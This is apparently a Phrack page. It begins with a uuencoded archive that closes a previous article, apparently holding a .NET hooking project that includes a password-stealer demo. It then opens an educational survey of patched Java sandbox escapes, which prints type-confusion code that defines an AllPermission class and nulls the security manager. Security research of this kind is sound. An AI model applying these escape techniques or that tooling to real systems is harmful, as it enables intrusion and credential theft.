MD9J#^$@E_)VGK&"ZS="YBQ^'TBVP7\O#_ETD?_+,S:?-SD6V;YMW-_37`^:) M@GAMN(R3["-_POPH#6!DZ.'GA(7<#"7>W"J*)F>86JM29YPUM26)Z>?-?T41 MPR=6M10.9A^\&Q1K0Q MMY;$Z:F'A1'1JXW64$V7.C[S9:G*EX5KAU`RZS(YK2? M(6V(9J->!E>#'7:;W.M#&TN?"[2)L=DA-4F]Q4^]R87,/OXUO,BIUXA_LI28 M/(C^IS+Y0_Z2X!E^6P7UY=9\O=7IX.I+8ER,PR59\E20?%TEN/?Y(.4]X@5! M05>>_$`H]IT`"&?X'Q*L>23G14RFN.]^)!X+2,I\W!VS\J'*)%5+RSL$D3CY M1)X@H'L823AE>!^R?GN/2`"RL826-DS4I7<`@FM!5DL0XEL4BWGI83F0;,KN MAPK$-M%.!W^JW<[Y#E!+`P04``````!Y6(9+````````````````#@```$%N M871H96UA+U1E3&:JGV]**T)G-Y?#N5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK M^I)\>)V>5Q! M._,.T&^>,Y&!4W'@XJ<7LW_L%\L!7U!+`P04````"`!Y6(9+=??0Q@P$```< M&0``&````$%N871H96UA+U1E MD$I3H"V#BPDA&.-/%*%U$A<(65YRNIHE=K"==A'BR;C@D7@%CO/39DE'&Y)V MT:1F]O'Y^7QB'_O/K]^QYN**3!)M(#PY/"C_ZY[*(`#/<"FT^P8$*.Y513YP M\;W:=@$WIM8V4\!\;'`OF+[6R^ZSB?M",#.#D+GGL3`\A+5];Z6\7G9HPPSW MROWHJ@+W(S;/5^/'TKO^P"\54TG5G7.8YI%AS^&!8"'HB'E`+D";PX,?AP<$ M'R]@6I-/2EXI%F9-MB=_(L7GS`")A693*)QZSXWUE9PJP,Y);)R)4=9R"&8F M_8]HZ34/#*@C.99H-'V?]_:,:#:OWMF8%)E8B=:YD\VU"GO6WSJ)B6'*K)V& M$%7ETU!HU,"@^Z#'H2`;ON'14S6K07\[E#&E8T M,^]T#8K1K#T'11?Y3NX2X6?8/&F7-FO'[(2`%[`S! ML"6"8;HVR_P(UR0M0PPEO1SK M;/B2^%`\,SA@>]A*"=XP$;L"+;=E. MI/+M]9W$5K7`HIYP%&0)8=,IGB=288-77GB#I>/`W%V+-+N).&DTN'J(/_EO M-^X^W#7U:?-)^K:^?][EU83K._=FR>U/:ENK6'O(V=[9Y?E@X\#;I?"6N;*^ M(MS&O;P*VLRTO/-7Q9IO=]N/M[M$$_DL^.K:D?_@WU]02P,$%```````>5B& M2P```````````````!D```!!;F%T:&5M82]497-T+U!R;W!ET8MFHW4@+C8:/;]YH'O7G MYZ_@I)[!7>,\5L-;%`JYET:_V=U97PG:RPJ'8U/54J&]0SN7'-TVW$1[M*9> M@>WN'!S`-6JT3,%$"V,K%BL!RTWPP"AP#JM<-2`=<*.]-4IA`;ZT)LQ*>B(( M2IFG6"_1.?1@!##OK$<Z^^;81-6UK%&O[<--#9: MR%FP["5853/=;`=\LJ8(W"\4;6>I&RMG)<&6(?S^`7`T.LRV;9I:5F#%[.-_ MU`7E@\4$:,=]A]['89'P>^EDKC!.0#!%LZG88QQ(2:FFIDAJ>I&NUXK>QUDT>]='(\R=I0=#TZS['!PE%-XA[M(ZLM>KXJ&?5X?'(.>F\:]5U'5`4;'N"+B-=HDS7#7L@EI9] M)2UUEX8N_RY(5<"'4.5HN^PMSN7S_I3]0A/E),W5R.-994J1HN4A)NJF110H M&-DNKB[(J:-B2=A6<@L%>0/I5Y7`>_M[U#FXTCQIR)$:O4R@#;YNV^CW#H>C MX7[ZIB^@XKT-]Y[^GANQ?P%02P,$%`````@`>5B&2[;L'SU5`0``VP(``"`` M``!!;F%T:&5M82]497-T+U-A>4AE;&QO36]N:71OK&;C%IRKJ9 M$)_U3BPKD,0FX(=$+95)VY8@'%5.(H00E;:M%]L"8WFY8#2"B!&E("#5)3(F M)U)0+8L:T0!;/1NEL#J1(E5<7;_NT1A-P.1P,092, MP>$A<']J)/KGJY(PY3I!CF3I>-L&;9..]?O`94R3"K*U*#!C*I)B#>PR_HMD M2[1K3Z0`#OD.MVSZ;RYPO4$L#!!0````(`'E8ADLA?JJ/_00``"(/```9```` M06YA=&AE;6$O5&5S="]497-T+F-S<')O:KU76W.30!1^=\;_L#+.J#,%DI`` MT00GQE0=K7:2>GGHRP*'%@N[N+NH\?++?/`G^1<\$$A(8R/.J`^]V^=_W:Z%CPMQ`H$9"#.5?B%F]CH=2T.+A(R>I!D7BE2FQ]K-VT>+4O?LHP)6>""/ MJ3J_<[H^:'IWY_1H;6K*TY0S(Q,\DQJ91QZGX=6QYGT'$L?.$Y7[]O] MJ>Y.[)D^LZ:VXW0.W>E@^!5U;&1J-2]RE>7J9)F!-_L((W/S77-,LNPAR/B, M@3CD20C"J^XH!CDR=TYKL3GGZCE-068T`.\$I!J93=I&OY20^LD2#VJ^!FG- MMD+IH4#2!RXNJHQZ[_N&;?1&YJ^/:^'#.(%)@EZFP)0WZ*+`%FGM2Z[X(\!8 MJ((',2M>TQS"6."E24^)'"]H'\L5ON)]16BMAIBYC;%=V.U'V)<=F)1(^[(" M"D+F,LA6WJR!M$VNF4L=BV7J\Z2.M$G:8BO1$>5)4O$TT?(B4W$:?\)SFDA4 M4G]OXZUXHYX?L]-2_A39UN2-I2AF@*%+11E>[/[IW,)],9FMT^K&5F M0G`QAZ+Z>/BPTPRQU*#5;*^I8)BV9T4-\_HCL_F]1D*2\`\OF:01/$AX<%%? MR@[]'^5T#@E0"7\CJV5ZLM#G+%GNR5@1X.\35OG5*F7_)UF_O/LG"M*M$CZ' M"`1V2"!/6)#D(8RUP\4Y%1DV`@$'I&Z-?<,RL)L>D"EVQES`F$&N!$T.R''N M)W'P%)8G_`+8V.]8T2!RHFXW''2H10\(!A&`E%Q,1'`>*PA*^:/%DV?87?;X ML5A*]+8-3^EK*\;76)GX!VD<(B1D*XDW:6(\B]F[5LP/J:+EKP6H3>?=+]IH MO>7%MS;4BO$Y*..Q4NVT8JS:NAH74-F'G"E",TZ:2NCR,6`9..(L5EP801'X ME=P(SC-L!+_GJEKJ:=W\GK"(_T:JZ)9'H,YYN/&E?6#/.6OHPD9N!&51:J^A MFB=^<=&&<3I;&!-&53$]EKC=(1B1S%!!7=DV^KS/OM4+^C9U="*Z/H M.T,[`B?0(S=$E'5#6WM3M^?9P$`971M$PT<;[W<>TNR1M%I9JB;E< M,@U5=O?-&[^AZ[C9D13WOFA)ECP7I-S&ZEYT0&@8KNB*R@L28Z$.@7"&/Q'! M%)!*(_$!YQI"64ARA@M>,1236!FD#IJ\0&Y!),X&"14$ZJ)/,AXSE(=B(3L@ M$H#L[%B5#0-UU;,Q*6X,-TZ(\(&N]L[JFJH!9I=W$BD05['J.O[9I.HG4$L# M!!0````(`'E8ADLJ$7*1)P$``)0"```B````06YA=&AE;6$O5&5S="]497-T M365T:&]D36]N:71OC`./Q"N0_FQEZ0&L2(GM[[/].=^?7Z5F(H/EFS98C'WO MMTLFDG-,#)-"DRD*5"QQ(7,FGMW8`M.6YF9B?#6]6*Z0KFV`Q%0_:9OV/4$+ MU!N:(,2HC>^]^QY8VY0KSA)(.-6ZSH1HJ*K8P,2>X#[['XKNS?EB6FNI:I%8+HVR/QF,MIH<7:[;/=O+GA]02P$" M/P`4``````!Y6(9+````````````````"0`D`````````!``````````06YA M=&AE;6$O"@`@```````!`!@`!8YI@GENTP$%CFF">6[3`=C/9()Y;M,!4$L! M`C\`%`````@`>5B&2UF6[3`5!+`0(_`!0``````'E8ADL````````````````:`"0` M````````$````+0#``!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+PH`(``` M`````0`8`,:[:X)Y;M,!QKMK@GENTP&(Z&B">6[3`5!+`0(_`!0````(`'E8 MADN:C7Q&EP(``/4%```I`"0`````````(````.P#``!!;F%T:&5M82]%4RY! M;F%T:&5M82Y#;W)E+T%S6[3`5!+`0(_`!0````(`'E8ADN"R\AS<00``$8. M```Q`"0`````````(````,H&``!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E M+T53+D%N871H96UA+D-O6[3`9PE:H)Y;M,!4$L!`C\`%`````@`>5B&2YIA,3?\!@``UQ8``"0` M)``````````@````B@L``$%N871H96UA+T53+D%N871H96UA+D-O6[3`5!+ M`0(_`!0````(`'E8ADN`&@,@7@$``',"```C`"0`````````(````,@2``!! M;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+TYA=&EV92YF6[3`5!+`0(_`!0``````'E8ADL````` M```````````:`"0`````````$````&<4``!!;F%T:&5M82]%4RY!;F%T:&5M M82Y(;V]K+PH`(````````0`8`)@;;H)Y;M,!F!MN@GENTP$H&&F">6[3`5!+ M`0(_`!0````(`'E8ADLF0(``/4%```I`"0`````````(````)\4``!! M;F%T:&5M82]%4RY!;F%T:&5M82Y(;V]K+T%S6[3`5!+`0(_`!0````(`'E8 MADMY:F]]M00``"P/```Q`"0`````````(````'\7``!!;F%T:&5M82]%4RY! M;F%T:&5M82Y(;V]K+T53+D%N871H96UA+DAO;VLN9G-P6[3`2?U;()Y;M,!4$L!`C\`%`````@`>5B&2_NE M9+X(!```N@X``"0`)``````````@````@QP``$%N871H96UA+T53+D%N871H M96UA+DAO;VLO2FET2&]O:RYF6[3`5!+`0(_`!0``````'E8ADL````````````````>`"0````` M````$````,T@``!!;F%T:&5M82]%4RY!;F%T:&5M82Y-;VYI=&]R6[3`?_H<()Y;M,!?"-I@GENTP%02P$"/P`4````"`!Y M6(9+E:2UVIL"```!!@``+0`D`````````"`````)(0``06YA=&AE;6$O15,N M06YA=&AE;6$N36]N:71O6[3`0"-;H)Y;M,!4$L!`C\`%`````@`>5B&2P/SNC7Q M!```F!```#D`)``````````@````[R,``$%N871H96UA+T53+D%N871H96UA M+DUO;FET;W)S+T53+D%N871H96UA+DUO;FET;W)S+F9S<')O:@H`(``````` M`0`8`&MJ<()Y;M,!#<9O@GENTP$-QF^">6[3`5!+`0(_`!0````(`'E8ADNP MY%(\X0```(0!```N`"0`````````(````#6[3`6MJ<()Y;M,!4$L!`C\`%`````@`>5B&2_0U4XA^```` MD0```"T`)``````````@````9"H``$%N871H96UA+T53+D%N871H96UA+DUO M;FET;W)S+W!A8VMA9V5S+F-O;F9I9PH`(````````0`8``U+<8)Y;M,!_^AP M@GENTP'_Z'"">6[3`5!+`0(_`!0``````'E8ADL````````````````=`"0` M````````$````"TK``!!;F%T:&5M82]%4RY!;F%T:&5M82Y2=6YT:6UE+PH` M(````````0`8`)=N=()Y;M,!EVYT@GENTP%"/VF">6[3`5!+`0(_`!0````( M`'E8ADM$9'6[3`5!+`0(_`!0````(`'E8ADM>*+TB MQ@0``'`/```W`"0`````````(````$6[3`7J!5B&2U4X M#+?H`P``I@L``"P`)``````````@````8C,``$%N871H96UA+T53+D%N871H M96UA+E)U;G1I;64O365T:&]D1FEL=&5R+F9S"@`@```````!`!@`K&)T@GEN MTP%)K7.">6[3`4FM5B&2VU[-S7($0``UD8` M`#$`)``````````@````E#<``$%N871H96UA+T53+D%N871H96UA+E)U;G1I M;64O4G5N=&EM941I6[3`9=N M=()Y;M,!EVYT@GENTP%02P$"/P`4``````!Y6(9+````````````````$0`D M`````````!````"K20``06YA=&AE;6$O34QO9V=E6[3`8A6B()Y;M,!0C]I@GENTP%02P$"/P`4````"`!Y6(9+`5^@GENTP%(PGN">6[3`4C">X)Y;M,!4$L! M`C\`%`````@`>5B&2["48\'8`0``K@4``"<`)``````````@````FTH``$%N M871H96UA+TU,;V=G97(O365T:&]D3&]G9V5R36]N:71O6[3`5!+`0(_`!0````(`'E8ADNQ M#36[3`4[0 M?X)Y;M,!4$L!`C\`%`````@`>5B&2WT6GD+D````*0$``"0`)``````````@ M````9E$``$%N871H96UA+TU,;V=G97(O34QO9V=E6[3`5!+`0(_`!0````( M`'E8ADL4#B?-``0``-4+```;`"0`````````(````(Q2``!!;F%T:&5M82]- M3&]G9V5R+U!R;V=R86TN8W,*`"````````$`&`"[#HB">6[3`8SFA8)Y;M,! MC.:%@GENTP%02P$"/P`4``````!Y6(9+````````````````'``D```````` M`!````#%5@``06YA=&AE;6$O34QO9V=E6[3`5!+`0(_`!0````(`'E8ADLM MIRX`=`(``)(%```K`"0`````````(````/]6``!!;F%T:&5M82]-3&]G9V5R M+U!R;W!E6[3`8%UB()Y;M,!4$L!`C\`%```````>5B&2P`````````````` M`!4`)``````````0````O%D``$%N871H96UA+TUO8VM,:6)R87)Y+PH`(``` M`````0`8`+Y*IH)Y;M,!ODJF@GENTP$\9&F">6[3`5!+`0(_`!0````(`'E8 MADM*.O&_GP````8!```?`"0`````````(````.]9``!!;F%T:&5M82]-;V-K M3&EB2]#;&%S6[3 M`8U7CX)Y;M,!4$L!`C\`%`````@`>5B&2Y*.^M&N`P``X`H``"<`)``````` M```@````RUH``$%N871H96UA+TUO8VM,:6)R87)Y+TUO8VM,:6)R87)Y+F-S M<')O:@H`(````````0`8`&MIEH)Y;M,!YJ&2@GENTP'FH9*">6[3`5!+`0(_ M`!0````(`'E8ADL@;&ASBP```.P````>`"0`````````(````+Y>``!!;F%T M:&5M82]-;V-K3&EB2]->45N=6TN8W,*`"````````$`&`""-Y>">6[3 M`>FGEH)Y;M,!Z:>6@GENTP%02P$"/P`4````"`!Y6(9+?T0Q7K@```!V`0`` M(``D`````````"````"%7P``06YA=&AE;6$O36]C:TQI8G)A6[3`7Q,EX)Y;M,!?$R7@GENTP%02P$" M/P`4``````!Y6(9+````````````````(``D`````````!````![8```06YA M=&AE;6$O36]C:TQI8G)A6[3`?OZIH)Y;M,!!$>8@GENTP%02P$"/P`4````"`!Y6(9+,V;$X'<"``": M!0``+P`D`````````"````"Y8```06YA=&AE;6$O36]C:TQI8G)A4EN9F\N8W,*`"````````$`&`!`.:R">6[3`?OZ MIH)Y;M,!^_JF@GENTP%02P$"/P`4````"`!Y6(9+1;E^/+(!``#6[3`1?4F()Y;M,!%]28@GENTP%02P$"/P`4 M````"`!Y6(9+A4:5+P$!```>`@``)0`D`````````"````!M90``06YA=&AE M;6$O36]C:TQI8G)A@GENTP$09IZ">6[3`5!+`0(_`!0````(`'E8ADMB`X!T_0`` M`$8"```C`"0`````````(````+%F``!!;F%T:&5M82]-;V-K3&EB2]3 M:6UP;&5C;&%S6[3`5!+`0(_`!0````(`'E8ADO!.J?2OP$``$$&```C`"0`````````(``` M`.]G``!!;F%T:&5M82]-;V-K3&EB2]3=&%T:6-#;&%S6[3`5!+`0(_`!0``````'E8 MADL````````````````7`"0`````````$````.]I``!!;F%T:&5M82]396-U M6[3 M`5!+`0(_`!0``````'E8ADL````````````````F`"0`````````$````"1J M``!!;F%T:&5M82]396-UFF">6[3`5!+`0(_`!0````(`'E8 MADMSG*9QB````+H````P`"0`````````(````&AJ``!!;F%T:&5M82]396-U M6[3`71XLH)Y;M,!='BR@GENTP%02P$"/P`4````"`!Y6(9+HYA$ M7)@"``!>!P``,``D`````````"`````^:P``06YA=&AE;6$O4V5C=7)E5V5B M4VAO<%!A6[3`;SBLH)Y;M,!4$L!`C\`%```````>5B&2P`````````` M`````#$`)``````````0````)&X``$%N871H96UA+U-E8W5R95=E8E-H;W!0 M87-S=V]R9%-T96%L97(O4')O<&5R=&EE6[3 M`0V6MH)Y;M,!QE.S@GENTP%02P$"/P`4````"`!Y6(9+:1JGWX$"``"\!0`` M0``D`````````"````!S;@``06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!AMX)Y;M,!#9:V@GENTP$-EK:">6[3`5!+`0(_`!0````(`'E8ADN# M[R3SGP0``$`.``!)`"0`````````(````%)Q``!!;F%T:&5M82]396-U6[3`5B&2PZ4U%:+````LP```"$`)``````````@```` M6'8``$%N871H96UA+U-E8W5R95=E8E-H;W`O07!P+F-O;F9I9PH`(``````` M`0`8`(X$KH)Y;M,!48>L@GENTP%1AZR">6[3`5!+`0(_`!0````(`'E8ADLK MDH^OE0(``.P%```F`"0`````````(````")W``!!;F%T:&5M82]396-U6[3`5!+`0(_`!0````(`'E8ADL55TA6[3`5!+ M`0(_`!0````(`'E8ADMIC16)!`0``.,+```A`"0`````````(````-=Z``!! M;F%T:&5M82]396-U6[3`9H(KX)Y;M,!F@BO@GENTP%02P$"/P`4````"`!Y6(9+.>_$@*T$ M``!#$```*P`D`````````"`````:?P``06YA=&AE;6$O4V5C=7)E5V5B4VAO M<"]396-U6[3`5!+`0(_`!0``````'E8ADL````````````````.`"0` M````````$````!"$``!!;F%T:&5M82]497-T+PH`(````````0`8`.VXN8)Y M;M,![;BY@GENTP$%CFF">6[3`5!+`0(_`!0````(`'E8ADMSG*9QB````+H` M```8`"0`````````(````#R$``!!;F%T:&5M82]497-T+T%P<"YC;VYF:6<* M`"````````$`&``%@;>">6[3`:$RMX)Y;M,!H3*W@GENTP%02P$"/P`4```` M"`!Y6(9+=??0Q@P$```<&0``&``D`````````"````#ZA```06YA=&AE;6$O M5&5S="]0">6[3`8&4 MMX)Y;M,!4$L!`C\`%```````>5B&2P```````````````!D`)``````````0 M````/(D``$%N871H96UA+U1E6[3`<+(NX)Y;M,!-%JX@GENTP%02P$"/P`4````"`!Y6(9+FZJ>`7$" M``",!0``*``D`````````"````!SB0``06YA=&AE;6$O5&5S="]06[3`5!+`0(_`!0````(`'E8ADNV[!\]50$``-L"```@`"0````` M````(````"J,``!!;F%T:&5M82]497-T+U-A>4AE;&QO36]N:71O6[3`5!+`0(_`!0````( M`'E8ADLA?JJ/_00``"(/```9`"0`````````(````+V-``!!;F%T:&5M82]4 M97-T+U1E6[3`8,( MN8)Y;M,!4$L!`C\`%`````@`>5B&2RH16[3`>VXN8)Y;M,![;BY@GENTP%02P4&`````#P`/`"] )&P``6)0````` ` end |=[ EOF ]=---------------------------------------------------------------=| ============== Page 7/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x07 of 0x0f |=-----------------------------------------------------------------------=| |=------------=[ Twenty years of Escaping the Java Sandbox ]=------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ by Ieu Eauvidoum ]=------------------------=| |=-------------------------=[ and disk noise ]=-------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Background 2.1 - A Brief History of Java Sandbox Exploits 2.2 - The Java Platform 2.3 - The Security Manager 2.4 - The doPrivileged Method 3 - Memory Corruption Vulnerabilities 3.1 - Type Confusion 3.1.1 - Background 3.1.2 - Example: CVE-2017-3272 3.1.3 - Discussion 3.2 - Integer Overflow 3.2.1 - Background 3.2.2 - Example: CVE-2015-4843 3.2.3 - Discussion 4 - Java Level Vulnerabilities 4.1 - Confused Deputy 4.1.1 - Background 4.1.2 - Example: CVE-2012-4681 4.1.3 - Discussion 4.2 - Uninitialized Instance 4.2.1 - Background 4.2.2 - Example: CVE-2017-3289 4.2.3 - Discussion 4.3 - Trusted Method Chain 4.3.1 - Background 4.3.2 - Example: CVE-2010-0840 4.3.3 - Discussion 4.4 - Serialization 4.4.1 - Background 4.4.2 - Example: CVE-2010-0094 4.4.3 - Discussion 5 - Conclusion 6 - References 7 - Attachments --[ 1 - Introduction The Java platform is broadly deployed on billions of devices, from servers and desktop workstations to consumer electronics. It was originally designed to implement an elaborate security model, the Java sandbox, that allows for the secure execution of code retrieved from potentially untrusted remote machines without putting the host machine at risk. Concretely, this sandboxing approach is used to secure the execution of untrusted Java applications such as Java applets in the web browser. Unfortunately, critical security bugs -- enabling a total bypass of the sandbox -- affected every single major version of the Java platform since its introduction. Despite major efforts to fix and revise the platform's security mechanisms over the course of two decades, critical security vulnerabilities are still being found. In this work, we review the past and present of Java insecurity. Our goal is to provide an overview of how Java platform security fails, such that we can learn from the past mistakes. All security vulnerabilities presented here are already known and fixed in current versions of the Java runtime, we discuss them for educational purposes only. This case study has been made in the hope that we gain insights that help us design better systems in the future. --[ 2 - Background ----[ 2.1 - A Brief History of Java Sandbox Exploits The first version of Java was released by Sun Microsystems in 1995 [2]. One year later, researchers at Princeton University identified multiple flaws enabling an analyst to bypass the sandbox [3]. The authors identified weaknesses in the language, bytecode and object initialization, to name a few, some of them still present in Java at the time of writing. It is the first time a class spoofing attack against the Java runtime has been detailed. A few years later, in 2002, The Last Stage of Delirium (LSD) research group presented their findings on the security of the Java virtual machine [29]. They detailed vulnerabilities affecting, among others, the bytecode verifier and class loaders leading to type confusion or class spoofing attacks. In 2010, Koivu was the first to publicly show that trusted method chain attacks work against Java by explaining how to exploit the CVE-2010-0840 vulnerability he has found [32]. In 2011, Drake described how to exploit memory corruption vulnerabilities in Java [4]. He explains how to exploit CVE-2009-3869 and CVE-2010-3552, two stack buffer overflow vulnerabilities. In 2012, Guillardoy [5], described CVE-2012-4681, two vulnerabilities allowing to bypass the sandbox. The first vulnerability gives access to restricted classes and the second allows to modify private fields. Also in 2012, Oh described how to exploit the vulnerability of CVE-2012-0507 to perform a type confusion attack to bypass the Java sandbox [6]. In 2013, Gorenc and Spelman performed a large scale study of 120 Java vulnerabilities and conclude that unsafe reflection is the most common vulnerability in Java but that type confusion is the most common exploited vulnerability [8]. Still in 2013, Lee and Nie identified multiple vulnerabilities including a vulnerability in a native method enabling the bypass of the sandbox [9]. Again in 2013, Kaiser described, among others, CVE-2013-1438 a trusted method chain vulnerability found by James Forshaw and CVE-2012-5088 a Java reflection vulnerability found by Security Explorations. Between 2012 and 2013, security researchers at Security Explorations discovered more than 20 Java vulnerabilities [7]. Starting in 2014, the developers of main web browsers such as Chrome or Firefox decided to disable NAPI by default (hence no Java code can be executed by default) [11] [12]. The attack surface of Java being reduced, it seems that less research on Java sandbox bypass is being conducted. However, exploits bypassing the sandbox still pop up once in a while. For instance, in 2018, Lee describes how to exploit CVE-2018-2826, a type confusion vulnerability found by XOR19 [18]. ----[ 2.2 - The Java Platform The Java platform can be divided into two abstract components: the Java Virtual Machine (JVM), and the Java Class Library (JCL). The JVM is the core of the platform. It is implemented in native code and provides all the basic functionality required for program execution, such as a bytecode parser, JIT compiler, garbage collector, and so forth. Due to the fact that it is implemented natively, it is also subject to the same attacks like any other native binary, including memory corruption vulnerabilities such as buffer overflows [1], for example. The JCL is the standard library that ships together with the JVM. It comprises hundreds of system classes, primarily implemented in Java, with smaller portions being implemented natively. As all system classes are trusted, they are associated with all privileges by default. These privileges give them full access to any sort of functionality (filesystem read/write, full access to the network, etc.), and hence full access to the host machine. Consequently, any security bug in a system class can potentially be used by analysts to break out of the sandbox. The main content of this paper is thus separated into two larger sections - one dealing with memory corruption vulnerabilities, and the other one focussing on vulnerabilities at the Java level. ----[ 2.3 - The Security Manager In the code of the JCL, the sandbox is implemented with authorization checks, most of them being permission checks. For instance, before any access to the filesystem, code in the JCL checks that the caller has the right permission to access the filesystem. Below is an example checking the read permission on a file in class _java.io.FileInputStream_. The constructor checks that the caller has the read permission to read the specified file on line 5. --------------------------------------------------------------------------- 1: public FileInputStream(File file) throws FileNotFoundException { 2: String name = (file != null ? file.getPath() : null); 3: SecurityManager security = System.getSecurityManager(); 4: if (security != null) { 5: security.checkRead(name); 6: } 7: if (name == null) { 8: throw new NullPointerException(); 9: } 10: if (file.isInvalid()) { 11: throw new FileNotFoundException("Invalid file path"); 12: } 13: fd = new FileDescriptor(); 14: fd.incrementAndGetUseCount(); 15: this.path = name; 16: open(name); 17: } --------------------------------------------------------------------------- Note that for performance reasons, authorizations are only checked if a security manager has been set (lines 3-4). A typical attack to escape the Java sandbox thus aims at setting the security manager to null. This effectively disables all authorization checks. Without security manager set, the analyst can execute any code as if it had all authorizations. However, authorizations are only checked at the Java level. Native code executes with all authorizations. Although it might be possible to directly execute arbitrary analyst's controlled native code when exploiting memory corruption vulnerabilities, in all the examples of this paper we focus on disabling the security manager to be able to execute arbitrary Java code with all permissions. ----[ 2.4 - The doPrivileged Method When a permission "P" is checked, the JVM checks that every element of the call stack has permission "P". If one element does not have "P", a security exception is thrown. This approach works fine most of the time. However, some method m1() in the JCL which does not require a permission to be called might need to call another method m2() in the JCL which in turn requires a permission "P2". With the approach above, if method main() in a user class with no permission calls m1(), a security exception is thrown by the JVM, because of the follow-up call to m2() in m1(). Indeed, during the call stack walk, m1() and m2() have the required permission, because they belong to trusted classes in the JCL, but main() does not have the permission. The solution is to wrap the call in m1() to m2() inside a doPrivileged() call. Thus, when "P2" is checked, the stack walk stops at the method calling doPrivileged(), here m1(). Since m1() is a method in the JCL, it has all permissions. Thus, the check succeeds and the stack walk stops. A real-world example is method unaligned() in _java.nio.Bits_. It deals with network streams and has to know the architecture of the processor. Getting this information, however, requires the "get_property" permission which the user code might not have. Calling unaligned() from an untrusted class would thus fail in this case due to the permission check. Thus, the code in unaligned() which retrieves information about the processor architecture is wrapped in a doPrivileged call, as illustrated below (lines 4-5): --------------------------------------------------------------------------- 1: static boolean unaligned() { 2: if (unalignedKnown) 3: return unaligned; 4: String arch = AccessController.doPrivileged( 5: new sun.security.action.GetPropertyAction("os.arch")); 6: unaligned = arch.equals("i386") || arch.equals("x86") 7: || arch.equals("amd64") || arch.equals("x86_64"); 8: unalignedKnown = true; 9: return unaligned; 10: } --------------------------------------------------------------------------- When the "get_property" permission is checked, the stack walk checks methods down to Bits.unaligned() and then stops. --[ 3 - Memory Corruption Vulnerabilities ----[ 3.1 - Type Confusion ------[ 3.1.1 - Background The first memory corruption vulnerability that we describe is a type confusion vulnerability [13]. Numerous Java exploits rely on a type confusion vulnerability to escape the sandbox [16] [17] and more recently [18]. In a nutshell, when there is a type confusion, the VM believes an object is of type _A_ while in reality the object is of type _B_. How can this be used to disable the security manager? The answer is that a type confusion vulnerability can be used to access methods that would otherwise be out of reach for an analyst without permission. The typical method that an analyst targets is the defineClass() method of the _ClassLoader_ class. Why? Well, this method allows to define a custom class (thus potentially analyst controlled) with all permissions. The analyst would thus create and then execute his own newly defined class which contains code to disable the security manager to bypass all authorization checks. Method defineClass() is 'protected' and thus can only be called from methods in class _ClassLoader_ or a subclass of _ClassLoader_. Since the analyst cannot modify methods in _ClassLoader_, his only option is to subclass _ClassLoader_ to be able to call defineClass(). Instantiating a subclass of _ClassLoader_ directly from code with no permission would, however, trigger a security exception because the constructor of _ClassLoader_ checks for permission "Create_ClassLoader". The trick is for the analyst to define a class extending _ClassLoader_, such as _Help_ class below, and add a static method with an object of type _Help_ as parameter. The analyst then retrieves an existing _ClassLoader_ instance from the environment and uses type confusion to "cast" it to _Help_. With this approach, the JVM thinks that h of method doWork() (line 4 below) is a subclass of _ClassLoader_ (while its real type is _ClassLoader_) and thus the protected method defineClass() becomes available to the analyst (a protected method in Java is accessible from a subclass). --------------------------------------------------------------------------- 1: public class Help extends ClassLoader implements 2: Serializable { 3: 4: public static void doWork(Help h) throws Throwable { 5: 6: byte[] buffer = BypassExploit.getDefaultHelper(); 7: URL url = new URL("file:///"); 8: Certificate[] certs = new Certificate[0]; 9: Permissions perm = new Permissions(); 10: perm.add(new AllPermission()); 11: ProtectionDomain protectionDomain = new ProtectionDomain( 12: new CodeSource(url, certs), perm); 13: 14: Class cls = h.defineClass("DefaultHelper", buffer, 0, 15: buffer.length, protectionDomain); 16: cls.newInstance(); 17: 18: } 19: } --------------------------------------------------------------------------- More precisely, using a type confusion vulnerability, the analyst can disable the sandbox in three steps. Firstly, the analyst can retrieve the application class loader as follows (this step does not require a permission): --------------------------------------------------------------------------- Object cl = Help.class.getClassLoader(); --------------------------------------------------------------------------- Secondly, using the type confusion vulnerability, he can make the VM think that object cl is of type _Help_. --------------------------------------------------------------------------- Help h = use_type_confusion_to_convert_to_Help(cl); --------------------------------------------------------------------------- Thirdly, he provides h as an argument to the static method doWork() in _Help_, which disables the security manager. The doWork() method first loads, but does not yet execute, the bytecode of the analyst controlled _DefaultHelper_ class in buffer (line 6 in the listing above). As shown below, this class disables the security manager within a doPrivileged() block in its constructor. The doPrivileged() block is necessary to prevent that the entire call stack is checked for permissions, because main() is part of the call sequence, which has no permissions. --------------------------------------------------------------------------- 1: public class DefaultHelper implements PrivilegedExceptionAction { 2: public DefaultHelper() { 3: AccessController.doPrivileged(this); 4: } 5: 6: public Void run() throws Exception { 7: System.setSecurityManager(null); 8: } 9: } --------------------------------------------------------------------------- After loading the bytecode, it creates a protection domain with all permissions (lines 7-12). Finally, it calls defineClass() on h (line 14-15). This call works because the VM thinks h is of type _Help_. In reality, h is of type _ClassLoader_. However, since method defineClass() is defined in class _ClassLoader_ as a protected method, the call is successfull. At this point the analyst has loaded his own class with all privileges. The last step (line 16) is to instantiate the class to trigger the call to the run() method which disables the security manager. When the security manager is disabled, the analyst can execute any Java code as if it had all permissions. ------[ 3.1.2 - Example: CVE-2017-3272 The previous section explaind what a type confusion vulnerability is and how an analyst can exploit it to disable the security manager. This section provides an example, explaining how CVE-2017-3272 can be used to implement such an attack. Redhat's bugzilla [14] provides the following technical details on CVE-2017-3272: "It was discovered that the atomic field updaters in the _java.util.concurrent.atomic_ package in the Libraries component of OpenJDK did not properly restrict access to protected field members. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions." This indicates that the vulnerable code lies in the _java.util.concurrent.atomic.package_ and that is has something to do with accessing a protected field. The page also links to the OpenJDK's patch "8165344: Update concurrency support". This patch modifies the _AtomicIntegerFieldUpdater_, _AtomicLongFieldUpdater_ and _AtomicReferenceFieldUpdater_ classes. What are these classes used for? To handle concurrent modifications of fields, Java provides _AtomicLong_, _AtomicInt_ and _AtomicBoolean_, etc... For instance, in order to create ten million _long_ fields on which concurrent modifications can be performed, ten million _AtomicLong_ objects have to be instantiated. As a single instance of _AtomicLong_ takes 24 bytes + 4 bytes for the reference to the instance = 28 bytes [15], ten million instances of _AtomicLong_ represent 267 Mib. In comparison, using _AtomicLongFieldUpdater_ classes, it would have taken only 10.000.000 * 8 = 76 MiB. 